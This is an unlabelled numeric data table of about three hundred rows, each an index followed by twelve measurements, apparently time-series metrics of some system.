59 287.5 193.5 8.6 4603.4 145.8 1854.2 2804.8 242 750 3 16.5 1.6
60 291.7 197.2 8.9 4614.9 141.6 1871.6 2809.8 241.4 749.8 3 16.5 3.2
61 293 198.4 9.3 4725.3 137.4 1937.2 2752.8 266.6 727 3 16.5 2
62 292.3 197.8 9.2 4844 137.6 1995.2 2458.2 229 691.8 3.2 17.7 1.6
63 291.3 197 9.1 5195.7 137.6 2169.2 2634.8 241.8 668.4 3.2 17.7 1.6
64 286.5 193.2 9.1 5508 137.2 2325.8 3028.2 204 680.4 1.6 8.9 1.6
65 283.7 191.1 9 5860.3 136.4 2502.7 3311 228.6 669.2 1.6 8.9 1.6
66 278.3 186.7 8.7 6288.8 137.2 2713.3 3541.6 216.4 691.8 1.6 8.9 1.6
67 281.3 189.4 8.1 6610.5 136.8 2874.7 3694.2 241.8 726.6 1.6 8.9 1.6
68 286.9 193.9 8.1 7249.8 138.4 3186 3529.6 229 738.4 1.6 8.9 1.6
69 292.7 198.5 8.4 7704.8 136.2 3418.3 3401.8 254.2 727.2 1.6 8.9 1.6
70 289.4 196 7.6 8175.7 135 3652.4 3545 242 726.6 1.6 8.9 1
71 278 185.6 7.6 11101.7 149.4 5027.5 3775.2 229 727 1.6 8.9 1
72 269.3 177.6 7.8 12567.9 169.8 5712.2 4342.4 228.8 726.6 1 5.5 1
73 265 173.7 7.9 13290 189.6 6018.3 4363.2 241.4 703.6 1 5.5 1
74 270.5 178.7 7.7 13965.9 195.2 6338.3 4303.4 217 703 1 5.5 3.8
75 275.4 182.7 8 14509 197.8 6600.2 4228.2 216.8 715.2 1 5.5 3.8
76 282.9 189.1 8.3 15123.4 197.6 6905.3 3663 242 692.2 3.8 44.8 3.8
77 281.5 187.9 9 15650.4 200.4 7157.3 3132.4 254.2 692.6 3.8 44.8 3.8
78 275.3 183.7 8.8 15842.5 199.2 7255.5 3164.2 254.2 727 3.8 44.8 3.8
79 272.5 181.2 8.8 16390 201.8 7518.6 3364.2 253.6 727.6 3.8 44.8 4.4
80 278.1 185.2 9.6 16702.8 202 7676.2 3175.4 266.2 715.8 3.8 44.8 4.4
81 292.8 197.9 9.6 14486.5 187 6652 3447.6 278.4 727.4 3.8 44.8 5.4
82 302.6 206.9 9.5 13837.2 168.2 6371.2 4334 253.6 716 4.2 47.1 5.4
83 305.4 209.3 9.5 13774.6 149 6389.4 4734.6 228.4 693 5.4 53.7 5.4
84 297.6 202.3 9.7 13644.5 143 6337.4 4723 253 681 5.4 53.7 2.6
85 289.7 195.3 9.7 13667.1 140.8 6355.5 4910.6 215.4 716.4 5.4 53.7 2.6
86 282.3 188.8 9.7 13559.9 139.2 6306.1 5619.8 215.4 716.4 2.6 14.4 2.6
87 285 190.2 9.7 13569 137.6 6313.8 5151.2 240.6 693.4 2.6 14.4 2.6
88 294.3 196.7 9.9 13647.2 137.4 6354.9 5163.8 265.6 704.6 2.6 14.4 2.6
89 297.1 199.2 9.5 13516.6 135.2 6298.3 5403 254.2 704.8 2.6 14.4 2












90 294.3 197.4 9.4 13452.7 135.2 6264.2 6303.4 279.8 704.2 2.6 14.4 2.6
91 280.7 185.8 9.4 13475.5 134.8 6046.3 6347.4 243.6 715.4 2.6 14.4 1.6
92 272.3 178.2 9.5 13399.9 133.6 6011.3 6492.8 243.2 738.6 1.2 6.6 1.6
93 269.6 175.9 9.5 13392.8 132 6010.4 6829.4 230.8 750.6 1.6 8.8 1.6
94 276.8 182.3 9.4 13431.5 130.8 6035.9 7152.8 217.4 750.6 1.6 8.8 1.6
95 282.9 187.5 9.4 13485.5 130.4 6064.3 6676.6 229.2 739 1.6 8.8 1.6
96 287.3 191 9.4 13456.3 130.6 6046.1 6354 240.6 704.2 1.6 8.8 1.6
97 280.8 185.7 9.4 13512.4 131.8 6073.3 6655 215.8 680.2 1.6 8.8 1.6
98 270.5 177.2 9.4 13465.6 132.2 6047.4 7390 216 656.6 1.6 8.8 1.6
99 264.2 171.8 9.8 13497.6 133.8 6057 7632.8 216.4 667.2 1.6 8.8 1.6
100 262.5 169.9 9.9 13531.8 134 6073.4 8745.2 216.6 679 1.6 8.8 1.6
101 268.7 174.9 9.9 13518 134.4 6298.4 9154.8 204.4 690.6 1.6 8.8 1.6
102 273.5 178.8 9.9 13649.1 136 6362.5 9402.6 192.2 695.6 2.6 13.7 1.6
103 277.1 182 9.9 13555.8 136.4 6313.8 9289.2 180.2 707.4 1.6 8.9 1.6
104 272.2 178.1 9.8 13683.4 138 6375.9 9593.8 217.4 696.4 1.6 8.9 1.6
105 266.9 173.7 9.8 13652.3 137.6 6360.6 9228.6 180 696.8 1.6 8.9 1.6
106 262.6 170.5 9.6 13699.9 140 6380.8 9668.8 217.6 720.2 1.6 8.9 2.8
107 268.6 175.8 9.5 13688.1 139.2 6376.6 10088.4 230.2 750.4 1.6 8.9 2.8
108 279.5 185.7 9.5 13711.6 141.6 6380.4 10545.6 254.4 749.6 2.8 25.8 2.8
109 288.5 193.8 9.5 13644.8 142.2 6346.1 11023 242 761.8 2.8 25.8 2.8
110 291.1 196.5 9.4 13652.2 143.8 6344.9 11415 254.4 738.6 2.8 25.8 2.8
111 284.5 192 8.5 13731.7 144.8 6381.2 11855.6 241.8 726.8 2.8 25.8 4.2
112 280.7 189.1 8.5 13584.8 148.4 6289.4 12295.8 241.4 691.8 3.4 29.7 4.2
113 277.8 186.8 8.3 13832.7 150.2 6413.4 12387.6 241.2 705 4.2 33.4 4.2
114 279.1 188.4 7.7 13761.6 153 6370.2 12340.4 216.4 680.4 4.2 33.4 4.2
115 284.3 192.7 7.7 13731.8 156.8 6344.1 12358.2 204.6 680 4.2 33.4 4.2
116 290.2 197.5 7.9 13802.4 157.4 6380.7 12314.2 216.6 680.4 4.2 33.4 3
117 287.1 195.3 8 13777.5 157.8 6367.3 12161 241.4 703.2 4.2 33.4 3
118 279.1 188.7 7.4 13688.2 155.4 6329.7 12226 241.6 690.6 3 16.5 3
119 271.7 182.4 7.3 13810.5 154 6395.8 12155.6 266.4 704 3 16.5 3
120 271 181.7 7.4 13786.7 153.2 6387.5 12149.4 265.2 692.4 3 16.5 2.4
121 281.9 189.5 8.3 13765.4 155 6374.8 12142.2 240.4 680.4 3 16.5 1
122 288.5 195.2 7.8 13870.2 152.4 6439.2 12304 228 657.8 1.4 7.8 1
123 290.4 196.6 8 13648.1 152 6326.1 12329.6 227.4 658 1 5.6 1
124 285.4 191.1 8.8 13727.5 146.6 6381.8 12499.6 239.8 645.4 1 5.6 1
125 277.6 184.2 8.8 13718.1 141.8 6392.6 12351.2 265.6 656.6 1 5.6 1
126 269.5 177.1 8.8 13632.7 140.2 6351.7 12247.8 278.2 645.2 1 5.6 1
127 271.5 178.4 8.4 13587.3 139.6 6329.4 12230.8 253.2 645 1 5.6 1
128 277.2 182.8 9 13721.5 140.2 6400.1 12118.2 253.6 645.4 1 5.6 1
129 283.3 187.3 9.1 13606.4 141.4 6336.3 12093.6 216.6 668.4 1 5.6 1
130 283 186.7 8.8 13668.2 140.6 6370.9 12185.4 191.4 680.6 1 5.6 1.4
131 273.2 179.1 8.8 13584.3 137.2 6336.3 12212.6 203.8 691.8 1 5.6 1.4
132 265.1 171.9 9.3 13569.8 135.8 6330.4 12097.6 204.6 727 1 5.5 1.4
133 260.6 167.9 9.1 13631.5 134 6367.6 12099 167.6 703.4 1.4 7.7 1.4
134 268.8 175.3 9.1 13517.2 136.8 6298.6 12027 167 715 1.4 7.7 3.4
135 280.4 186.3 9.1 13565.5 139.6 6314.3 12036.2 204.2 702.8 1.4 7.7 3.4
136 292 197.6 8.7 13599.2 140 6329.9 11996.8 167.2 725.8 3.4 35.8 3.4
137 294.3 198.1 8.3 13738.3 141.6 6396.2 12136.8 167.2 714 3.4 35.8 3.4
138 288.3 192.9 8.3 13698.6 142.4 6369.2 12106 179.4 713.8 3.4 35.8 3.4
139 283.2 188.9 8.3 13682.5 140.6 6368.7 12229.6 179.4 702 3.4 35.8 3.4
140 284.3 189.9 8.6 13624.4 138.4 6344.4 12326.2 167.2 702.6 3.4 35.8 3
141 294.4 198.9 8.6 13684.8 139.6 6369.6 12495.8 192 679.6 3.4 35.8 4
142 302.3 206.2 8.6 13675.9 138.2 6368.3 12473.2 216.4 656.2 4.4 41.4 4
143 306.6 210.3 8.8 13635.5 137.8 6347.8 12532.2 204.2 668 4 39.2 4
144 297.5 202 8.8 13667.1 135 6371.3 12500 217.2 657.6 4 39.2 2
145 285.7 190.2 8.8 13540.8 136 6301.3 12442.2 217.4 645.4 4 39.2 2
146 274.4 178.9 9.2 13532.1 138.6 6289.6 12418.8 192 669 2 11.1 2
147 270.8 177 9.9 13579.3 138.8 6316.1 12348.4 166.8 703.6 2 11.1 2
148 276.2 181.8 9.9 13492.6 141.6 6263.2 12369.6 179.6 727.2 2 11.1 2
149 281.3 186.7 9.8 13588.2 143 6310.9 12297.4 204 726 3.4 18.8 3.4
150 280.6 186.6 9.8 13582.2 143.6 6302.9 12255 203.8 725.6 3.4 18.8 2.4
151 269.3 176.4 9.8 13591 145.2 6302 12084.4 216.8 726.2 3.4 18.8 1.4
152 261.9 169.7 9.7 13494.8 147.4 6246.5 11926 217.6 715.4 2.4 13.2 1.4
153 259.9 167.7 9.7 13497 149.2 6246.9 11791 216.6 692.2 1.4 7.7 1.4
154 269.6 176.6 9.7 13394.7 148 6198.6 11670.2 180 692.4 1.4 7.7 1.4
155 277.4 185.4 8.7 13508.5 146.2 6265.6 11562.2 192.6 716.6 1.4 7.7 1.4
156 286.6 194.2 8.7 13417.4 140.6 6237.4 11633 217 704.4 16.5 7.7 1.4
157 283.5 192 8.7 13239.9 137.6 6154.9 11718 253.2 704.6 187.1 8.8 1.6
158 270.5 181.1 8.2 13238 132 6174.6 11676 278.6 726.6 334.9 13.3 2.4
159 264.3 175.5 8.2 13118.8 131.6 6110.5 11675.8 315.2 715 499.3 5.6 1
160 263.7 174.9 7.9 13107.7 132 6107.2 11790.4 314.4 691.6 672.3 5.6 1
161 273.1 183.3 7.8 13026.6 128.8 6076.8 11724 277 679.8 838.7 5.6 1
162 280.1 189.5 7.2 12994.5 125.8 6070 11561.2 265.2 667.4 1011.9 5.6 1
163 285.4 194.2 7.2 12947.1 128.4 6038.6 11529 228.8 668.4 1182.3 5.6 1
164 278.6 187.7 7.1 12954.9 132.2 6031.8 11418.8 191.4 680.4 1361.4 6.4 1
165 272.1 180.8 8.1 12893.6 131 6004.7 11336.2 179.6 680.8 1532 11.2 1
166 266.8 176.1 8.1 12960.7 135.2 6025.4 11351.4 217.6 669.6 1680.4 19.7 1.8
167 276.5 184.6 8.2 12956.4 133.6 6027 11443.4 205 669.6 1673.5 27.6 2.4
168 292.4 198.4 8.7 12952.3 132.6 6027.8 11435.4 229 669 1702.9 28.6 2.6
169 299.3 204.6 8.8 12997.2 134.6 6046.8 11464.2 229 657 1621.1 34.1 3.6
170 299.4 204.3 8.9 13293.3 136.6 6129.7 11455.2 216 691.2 1617.5 37.4 4.2
171 292.4 197.5 9 15853.3 137.8 7436.6 11507.4 191 690.6 1628.2 37.4 4.2
172 285.3 190.9 9.7 15880.4 137.4 7452.6 11436 215.4 702.4 1625.4 37.4 4.2
173 279.4 185.7 9.7 15899.3 133 7473 11488.2 227.2 703.4 1604.8 37.4 4.2
174 285.7 191.6 9.8 15894.8 131 7480.4 11606 240.2 715.2 1582.1 36.6 4.2
175 295.5 200.8 9.8 15893.7 133.4 7473.3 11724 228 715.6 1613.6 31.8 4.2
176 302.4 207.1 9.8 15907.2 132 7482.3 11720.8 240.2 715.6 1640.8 23.3 3.4
177 294.3 200.3 9.8 15920.7 134.2 7482.6 11749.4 215.8 692.2 1656.4 14.3 2.6
178 284.2 190.9 9.8 15849.6 136.8 7437.5 11805 191 680.6 1627.3 8.9 1.6
179 275.8 183.1 9.8 15832.8 136.4 7428.6 11848 215 703.4 1614.2 12.2 2.2
180 274.8 182.4 9.8 15528.1 136.2 7336 11662.2 215.4 679.2 1606.9 8.9 1.6
181 281.3 188.6 9.8 13010.7 136.2 6048.5 11534 227.8 714.2 1629.8 8.9 1.6
182 289.2 196.1 9.8 13037 137.2 6056.9 11537.6 228.2 737.6 1635 8.9 1.6
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183 294.1 201.2 9.5 13103 138 6087.3 11546.4 216 748.6 1678.5 8.9 1.6
184 288.9 196.9 9.5 13087.2 137.4 6079.4 11405 179.4 714 1735.3 8.9 1.6
185 280.3 188.9 9.5 13141.9 136.2 6108.2 11558.4 192.2 737.6 1719.2 8.9 1.6
186 272.6 181.8 9.5 13095.3 134 6092.7 11499.2 192.4 726.2 1712.3 8.9 1.6
187 278.9 186.9 9.4 13026 132.8 6058.5 11649 179.4 726 1734.5 8.9 1.6
188 289.6 196.9 9.4 13097.5 131.8 6099.1 11625.2 179.4 703.2 1774 14.4 2.6
189 299.7 206.5 9.3 13019.6 129.4 6068.4 11718 204 715.2 1861.7 5.6 1
190 301.9 208.8 9.5 13002 129.2 6060.9 11647.6 228.2 715.4 1909.3 5.6 1
191 294.5 202.6 9.4 13020.7 129.8 6067.4 11767.6 190.4 703.8 1900.1 5.6 1
192 286.4 195.1 9.4 12899.1 130.8 6003.1 11573 215.2 703.2 1925.2 6.8 1
193 280.8 189.3 9.7 12826.4 131.2 5966.4 11579.6 227 691 1924 12.1 1
194 281.9 189.8 9.7 12820.8 131.8 5959.3 11625.2 202 690.8 1898.8 25 1.8
195 286 193.6 9.4 12865.9 132 5978 11583.8 202.2 656.4 1907.2 39.6 3.2
196 289.4 196.4 9.4 12813.3 132.6 5953.1 11445.8 239.6 655.8 1930.7 40.1 3.4
197 283.4 191.7 9.2 12886.3 132.4 5993.1 11531.4 252.4 644.4 1912 40.1 3.4
198 272.1 181.7 9.2 12896 131.4 5999.5 11605.2 240.6 656.2 1906 38.6 2.6
199 263.6 173.8 9.2 12920.5 130 6015.3 11528.8 265.4 644.2 1877.3 42.7 3.8
200 259.2 170 8.3 12970.2 130 6041.6 11621.6 227.8 667.4 1820.9 49.3 5
201 265.7 175.3 8.4 12855.3 129.4 5984.9 11700.8 202.6 655.8 1829.3 49.3 5
202 270.6 179.9 8 12900 129.2 6011.5 11701.8 202.4 645.2 1796.1 48.1 5
203 274.6 183 8 12881.5 128 6002.8 11672.4 240 633.4 1798.7 42.8 5
204 270.3 178.7 8 12957.4 127.8 6045.2 11785 215.6 668.4 1806.8 29.9 4.2
205 265.5 173.8 8.3 12830.5 126.2 5988.8 11852.4 215.6 656.8 1806.4 15.3 2.8
206 261.2 171 7.3 12853.4 127.4 5991.9 11972.2 240.8 691.8 1777.6 14.8 2.6
207 268.8 177.4 7.5 12847.4 129.8 5983.2 12076.4 228.2 726.6 1774.6 14.8 2.6
208 280.9 188.2 7.5 12865 131.2 5989.4 11994.6 203.6 750 1683.6 18.5 3.8
209 289.4 196.1 7.5 12877.7 132.2 5989.6 11931.6 204 726 1714.9 14.4 2.6
210 293 199.2 8.4 12879 132.8 5986.2 11859.6 228.8 737 1730.4 7.8 1.4
211 284.8 191.6 8.3 12900.3 132 6001.9 11846.6 204.2 737.8 1685.5 7.8 1.4
212 280 186.5 8.7 12886.7 134.2 5986.5 11687.8 179.4 702.2 1680.4 7.8 1.4
213 277.3 183.8 8.7 12894.2 132.4 5997.5 11583.8 203.8 679 1671.1 7.8 1.4
214 285.9 191.8 8.7 12882 134 5983.3 11562.6 216.2 703.2 1657.1 7.8 1.4
215 291.4 197.7 8.4 12914 135.6 5995.2 11494.6 191.8 680 1661.7 7.8 1.4
216 297.6 203.1 9 12968.2 133.6 6030.9 11341.4 179 644.8 1663.5 7.8 1.4
217 289 195.5 9.1 12968.6 132.8 6030.9 11452.8 179 656.8 1665.6 7.8 1.4
218 276.8 184 9.1 12873.9 132.8 5981.5 11520 141.6 692.4 1762.8 9 1.6
219 265.8 173.5 9.2 12889.8 135.2 5983.9 11605.6 141 669.2 1788.8 9 1.6
220 263.8 171.1 9.2 12891.8 135.6 5985 11570.2 166 692.4 1784.2 9 1.6
221 272.5 179.6 9.1 12902.3 135.8 5988.1 11727.4 203.4 715.8 1812.1 9 1.6
222 278.2 185.6 9.1 12967.5 134.2 6027 11667.2 215.8 739.4 1828.4 9 1.6
223 281 189.9 8.7 13035.7 139.4 6043.8 11718.2 228.4 704 1814.6 9 1.6
224 275.4 185.7 8.5 13073.8 139.8 6067.8 11625.8 215.8 714.6 1786.4 12.7 1.6
225 271.5 181.9 8.7 13077.8 141.4 6061.9 11682.4 203 692.2 1758.3 13.7 1.6
226 266.5 177.1 9 13103.5 143.2 6068 11703.6 166 669 1751.8 31.9 3.2
227 273.5 183.1 8.8 13068.7 142.2 6057.2 11753.8 154 668.6 1728.3 33.5 3.6
228 283.2 192.5 8.7 13099.6 140 6081.9 11640.2 141.4 680.6 1719.7 29.6 2.8
229 290.5 199.6 8.7 13071.2 139.2 6069 11710.8 142.2 670 1692.3 29.6 2.8
230 289.1 198.7 8.6 13050.2 137 6065.4 11644.6 154.4 704.4 1662 35.1 3.8
231 279.1 189.4 8.8 13046.9 138.8 6057.4 11584.2 154 738.6 1662.6 35.1 3.8
232 272.8 183.4 8.8 12985.1 141.8 6017.4 11514.8 166.6 715.4 1693.8 35.1 3.8
233 268.9 179.1 9.1 13043.7 139.2 6061.7 11633.6 179.2 738.2 1720.6 35.1 3.8
234 274.3 183.3 9.2 12817.5 137 5945.8 11590.8 216 761.6 1754 31.4 3.8
235 279.9 188.6 9.3 12861 133.6 5982.1 11667.2 203.6 738.2 1766.1 30.4 3.8
236 355.3 197.2 11.5 12785.8 133.4 5947.8 11608.2 215.4 715.6 1760.8 12.2 2.2
237 363.1 191.4 11.6 12820 133.8 5961 11694.4 239.8 723 1773.2 10.6 1.8
238 346.5 179.5 11.7 12867.5 135.6 5978 11673.2 227.2 688.4 1686.3 10 1.8
239 337 172.1 11.7 12867.2 133.8 5984.7 11716.2 214.6 688.4 1720.6 13.3 2.4
240 357.4 176.3 11.1 12851.8 135.2 5973.1 11675.8 239.8 676.8 1770.9 7.8 1.4
241 406.1 189.7 11.1 12912.1 135.4 6005.4 11657.6 253.4 700.2 1768.7 7.8 1.4
242 438.8 199.2 11.2 13006.3 131.2 6065.8 11665.6 253.8 703.8 1738.4 7.8 1.4
243 460.1 204.4 11.1 12916.7 130.6 6018.6 11686.8 291.2 703.6 1740.2 7.8 1.4
244 455.2 201.4 10.7 13036.4 130.8 6079.9 11624 278.4 703.8 1749.1 7.8 1.4
245 545.2 194.2 13.5 13028.7 132.8 6070.6 11644.4 240.8 716 1760.8 7.8 1.4
246 543.7 174 10.5 12950.9 135.2 6021 11770.6 215.6 692.2 1771.1 7.8 1.4
247 626.7 167.5 10.6 12921.9 137.4 5998.6 11728.6 190.4 704.4 1769.1 7.8 1.4
248 658 158.1 11.3 12969.7 135.6 6027 11657 153 727.4 1845 11.1 2
249 697.5 149 13.1 13013.9 136.8 6044.8 11607.6 140.8 692 1882.2 7.8 1.4
250 712.1 137.8 15.2 13065.7 136.8 6072.5 11650 165.6 691.6 1883.4 7.8 1.4
251 1428.9 119.6 15.1 12996.7 138.2 6029 11597.2 190.6 680.6 1893.1 7.8 1.4
252 1843.2 97.8 15 12980 141 6013.8 11535.4 178 668.8 1881.2 8 1.4
253 2293.6 81.3 15.2 12942.1 140.6 5996.6 11518.2 215.4 646 1872.6 12.6 1.4
254 2498.4 75.7 15.4 13052.4 141 6052.5 11489.6 252.4 657.4 1865.3 22.1 2.1
255 2425.9 67.8 11.9 13036.5 139.6 6047.9 11556 228 645.6 1838.3 30.8 3
256 2348.6 65.6 12.8 13163.8 136.6 6125.1 11515.8 202.8 645 1863.5 30.8 3
257 2261.2 62.1 12.6 13108.4 134 6100.7 11502 240.2 633.4 1869.4 30.8 3
258 2241 63.9 11.9 13004.7 135.4 5830.7 11585 202.8 632.6 1878.5 30.8 3
259 2204.1 63.3 9.3 12891.8 136.6 5766.9 11643.6 178.4 633.4 1737.5 38.5 4.4
260 2192 60.1 7.9 12998.3 138.8 5571 11539.2 215 668.2 1730.8 38.5 4.4
261 1435 54.9 7.8 13027.2 135.8 5597.1 11643.4 240.2 703 1703.3 38.5 4.4
262 992.4 54.9 7.8 12931.4 135.4 5545.6 11678.2 216 703.4 1718.7 38.3 4.4
263 527.1 54.6 7.8 12907.1 134.4 5533.9 11720.2 216.8 703.6 1697.2 33.7 4.4
264 335.7 45.6 8.1 12821.4 136 5484.5 11707.8 242 727 1674.4 24.2 3.7
265 309.5 40.5 8.8 12850.5 135.4 5503.6 11823 218.2 692.6 1685.5 15.5 2.8
266 322.2 39 8.8 12814.4 137 5478.7 11709.4 218.2 669.2 1667.9 15.5 2.8
267 331.4 37.8 8.9 12912.2 143.2 5516.7 11640.6 205 657.8 1667.7 15.5 2.8
268 343.2 37.8 8.8 12923.6 148.6 5721.4 11665.2 204.2 692.4 1632.6 7.7 1.4
269 363.3 38.4 9.5 13016.8 150.8 5766 11736.6 191.6 680.2 1697.2 5.5 1
270 423.8 41.3 9.5 12911 148 5964 11545.8 203.6 714.6 1725.2 5.5 1
271 517.6 52.3 9.6 12783.7 147.4 5904.2 11491.6 215.4 738.8 1773.4 5.5 1
272 550.4 57.1 9.4 12877.2 146.6 5950.6 11474.6 215.4 749.8 1773.7 5.5 1
273 545.5 55.3 9.2 12883.7 147.4 5949.9 11510.6 227.2 727 1765.6 5.5 1
274 529.2 56.8 9.2 13463.1 145.6 6197.1 11569.6 239.4 738.2 1772.6 5.5 1
275 532.4 57.9 9.2 15670.3 147.4 7312.4 11654.6 226.6 704 1762.6 5.5 1
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276 521 57.9 9.2 15594.5 150 7274.8 11729.6 202.4 703 1780.6 5.5 1
277 506.1 59 9 15568.4 144.4 7274.7 11735 240 691.6 1813 5.5 1
278 631.9 71 16.1 15671.1 140 7336.2 11573.8 253.4 679.8 1843.8 9 1.2
279 627.4 69.9 16.4 15689.2 137.8 7353.1 11506.4 228.2 657 1883.5 9 1.6
280 561.7 67.7 16.7 15563.6 137.8 7283.9 11499.2 253.4 656.2 1884.4 9 1.6
281 484.5 58.5 17.2 15561.1 150.2 7252.8 11564.8 253.2 633.2 1871.6 9 1.6
282 472.7 55.1 17.9 15604.6 159.2 7256.7 11651.2 215.6 655.8 1908.7 9 1.6
283 493.3 59.2 19.1 15767.2 168.6 7314.1 11778.2 227.4 679.6 1971.9 9 1.6
284 543.8 65.4 24.9 15154.8 170.6 7051.4 11650 215.2 679 2010.8 10.3 1.6
285 728.4 74 29.2 12877.2 171.2 5888.4 11723.4 214.6 714.4 2059.8 15.5 1.8
286 773 75.7 29.2 12978.6 169 5938.6 11695 202.4 738.4 2087.7 20.4 2.4
287 773.9 74.6 29.3 12928.8 167.4 5916.8 11716.2 215 727.4 2097.5 20.4 2.4
288 637.2 60.8 21.8 12796.9 166.6 5858.9 11751.8 215.4 703.6 2138.7 23.3 3.2
289 620.1 60.6 21.2 12634.1 165 5779.6 11808 215.4 727.4 2099 23.9 3
290 606.3 60.3 20.6 12695.5 165 5811.3 11691.6 203.8 715.2 2126.6 25.3 3
291 588.5 59.9 20 12956.8 155.8 5963.1 11631.6 228.2 714.6 2148 26.2 3
292 564.6 59.1 19.2 12882.5 147.6 5946.5 11593 253.2 725.6 2133.9 26.2 3
293 546.1 56.6 18 12709 140.6 5877.3 11489.4 253.2 761.6 2118 26.2 3
294 504.1 49.6 12 12783.8 140.8 5917.3 11430.8 290.6 726.4 2128.1 25.8 3
295 320.5 41.3 7.3 12717.9 140.4 5887.4 11391.8 290.4 715.8 2128.8 21.6 4.2
296 283.4 41.4 7.1 12711.3 138.6 5886.8 11451.4 265.6 680.6 2116.9 24.8 3.8
297 284.2 41.8 7.2 12693.3 140.2 5875.3 11485.2 239.8 669.4 2101.1 25.6 3.8
298 278.6 42 7.3 12779 141.2 5913.6 11403.6 239.8 644.8 2089.5 19.2 2.8
299 277.7 42.4 7.2 12930.2 139.6 5994.5 11505.2 202 679.8 2088.5 13.1 1.6
300 279 41.4 7.3 12886.6 138.6 5976.5 11576.4 214.4 702.2 2069.1 12.6 1.6
301 272.6 40.8 7.1 12859 144 5948.9 11515.6 227.4 702.8 2078.3 11.7 1.6
302 272.3 40.4 7.1 12887.1 148.6 5949.8 11612 216.4 714.2 2090.9 11.7 1.6
303 266 39 6.9 13018.9 151.8 6008.5 11709.4 216.4 703.4 2093.6 11.7 2.6
304 256.6 38.8 6.6 13001.2 151.6 5994 11687 254.4 692.2 2066.9 16.3 2.6
305 255.4 38.2 6.8 13068.8 153.4 6026.6 11781 254.4 670.2 2072.7 15.3 1.2
306 247.1 37.4 6.6 13106.3 155.2 6040.3 11733.2 241.4 680.6 2081 8.1 1
307 243.5 36.8 6.4 13091.9 156 6031.9 11724.2 240.8 669.4 2097.2 7.3 1
308 241 36.6 6.3 13115.1 154.8 6047.1 11596.2 228.6 692.4 2115.5 7.3 1
309 242.2 36.6 6.4 13036 156.4 6000.9 11570.6 216.2 680.8 2165.9 8.5 1
310 242.9 37.4 6.4 13020.9 157.4 5987.4 11603.8 203.6 691.4 2164.4 12.4 2.4
311 247.3 38.2 6.5 12985.1 149.4 5989.5 11685.2 216.6 704.4 2149.4 26.7 3.4
312 250.1 38.8 6.6 12983.5 143.8 6001.3 11579.2 253.8 716.2 2154.1 40.7 3.4
313 255.2 40.2 6.8 12910.3 138.6 5977.6 11638.6 253 693 2138.2 41.4 2.4
314 261.4 40 7.1 12865.5 137.2 5960.7 11664.4 240 692.2 2141.1 35.9 3.8
315 256 39.6 6.8 12978.6 136.2 6017.4 11567 215 704.4 2126.8 43.7 4.8
316 256.4 39.3 6.9 12914.3 135 5988.1 11483 214.6 715 2116.5 48.3 4.8
317 257 40.8 6.8 12959.1 135.2 6008.4 11412 189.4 691 2107.4 48.3 4.8
318 264.6 41.8 7.1 12937.4 136.8 5988 11421.6 177.4 690.2 2080.2 48.3 4.8
319 265.9 41.2 7.1 13059.8 140.6 6040.2 11376.4 165.8 679.2 2021 47.1 4.8
320 260.7 40.4 6.9 13156.9 139.4 6098.4 11419.8 178.2 678.4 2018.1 42.3 3.4
321 257.4 39 6.9 13125 141 6075.2 11515.4 202.2 667.6 2023.2 28.9 2.4
322 250.6 38.8 6.6 13068.1 138.2 6056.8 11625 227.4 702.8 2019 14.9 2.4
323 252.3 39 6.6 13090.2 141.8 6057.4 11639.4 215.8 715.4 2063.8 14.2 2.4
324 252.5 39 6.6 13152.7 141.4 6093.2 11611.4 240.4 738 2107 14.2 2.2
325 253.5 39 6.7 13103.2 139.2 6073.9 11463.8 253.4 738.8 2121.1 13 1.2
326 266 40.7 6.9 13072.1 138.6 6059.7 11403 254.4 750.8 2088.4 7.5 1.2
327 273.2 40.6 6.8 13035.8 137.2 6045.6 11285.2 254.4 739.6 2082.3 7.5 1.2
328 266.7 40.8 6.2 12791.7 135.2 5938.5 11361.2 291 739 2027.7 7.5 1.2
329 278 42 6.5 12692.4 130.6 5901.7 11451.8 291 716 2107.1 7.5 1.2
330 281.1 42.6 6.6 12746.1 131.6 5926.6 11443.6 303.4 692 2110.3 8.4 1.2
331 280.2 44.2 6 12666.7 130.8 5890 11309 291.2 656.8 2103.4 7.5 1.2
332 288.1 43.6 6.4 12730.3 133.2 5918 11235.6 290.4 644.8 2103.2 7.5 1.2
333 280.6 41.8 6.2 12566.7 129.8 5847.3 11032.8 290 668.8 2070.4 7.5 2.6
334 274.6 43 6.2 12451.3 129.8 5584.6 10908 278 680.8 2043 15.3 1.4
335 282.1 44.4 6.6 12177.2 130 5445.2 10852 265.4 704.6 2016.4 8.8 1.4
336 276.6 42.6 6.7 11994.6 130.8 5355.9 10872 264.4 704.4 2030.8 8.8 1.4
337 267.8 41.4 6.9 11859.2 132.8 5279.6 10803.6 240.6 716.4 2083.6 8.8 1.4
338 265.8 42 7.5 11839.7 138 5249.3 10764.6 241.2 680.8 2198.8 8.8 1.4
339 257 40.8 7.6 11566.5 136.8 5118.3 10685.2 228 693 2322.7 8.8 1.4
340 251.3 39.6 7.9 11214.2 140 4932 10673.8 240.4 692.2 2443.6 7.9 1.4
341 258.4 38.4 8.8 11086.1 145.8 4856.7 10605 228.8 715.2 2538.9 9.3 1.4
342 252 38.4 8.8 10780.7 151.8 4684 10582 241.2 703.6 2610.3 9.8 1.4
343 253.5 40.2 8.5 10752.2 158.2 4657.7 10473.2 241.4 715.6 2696 10.4 0
344 257 38.4 8.7 10536.1 162.6 4749 10352.6 278.4 727.2 2680.9 6.9 2.2
345 249 37.2 8.7 10429.3 165.6 4690.2 10306.6 277.8 715.8 2669.2 27.4 3.7
346 240.4 36.6 8.5 10436.1 173.8 4669.8 10182 302.8 693.2 2673.7 40.7 4.2
347 232.2 36.6 8.1 10287.4 174.8 4602.9 10096.4 278 704.6 2616.1 44.1 4.2
348 236.4 34.8 8.3 10171.8 174.2 4548.3 10053.6 240.2 716.2 2573.5 45 4.2
349 231.1 34.8 8.3 10030 176 4469.3 10028.2 203.2 680.8 2414.2 45 4.2
350 233.3 36 8.3 10029.2 169.6 4484.9 9945.4 178 681 2235.9 45 4.2
351 228.3 36 8.2 9812.7 162 4395.8 10005.2 152.8 692.8 2149.3 44.5 4.2
352 229.5 36.6 8.3 9710 155.6 4367 9950.4 189.8 691.8 2080.2 44.9 4.2
353 232.5 35.4 9 9360.6 150.4 4201.1 9931.4 190.2 691.4 1971 44.3 4.2
354 229.3 35.4 9 9346.7 164.6 4151 9887.8 215.4 714.4 1970.2 40 3
355 230.6 36 9 9245.5 184.2 4036.1 9819.2 215.8 690.6 2000.6 25.4 1.5
356 234.2 37.2 9.2 8467.7 187.2 3648.6 9707.6 228.4 689.8 1993.9 12.6 1
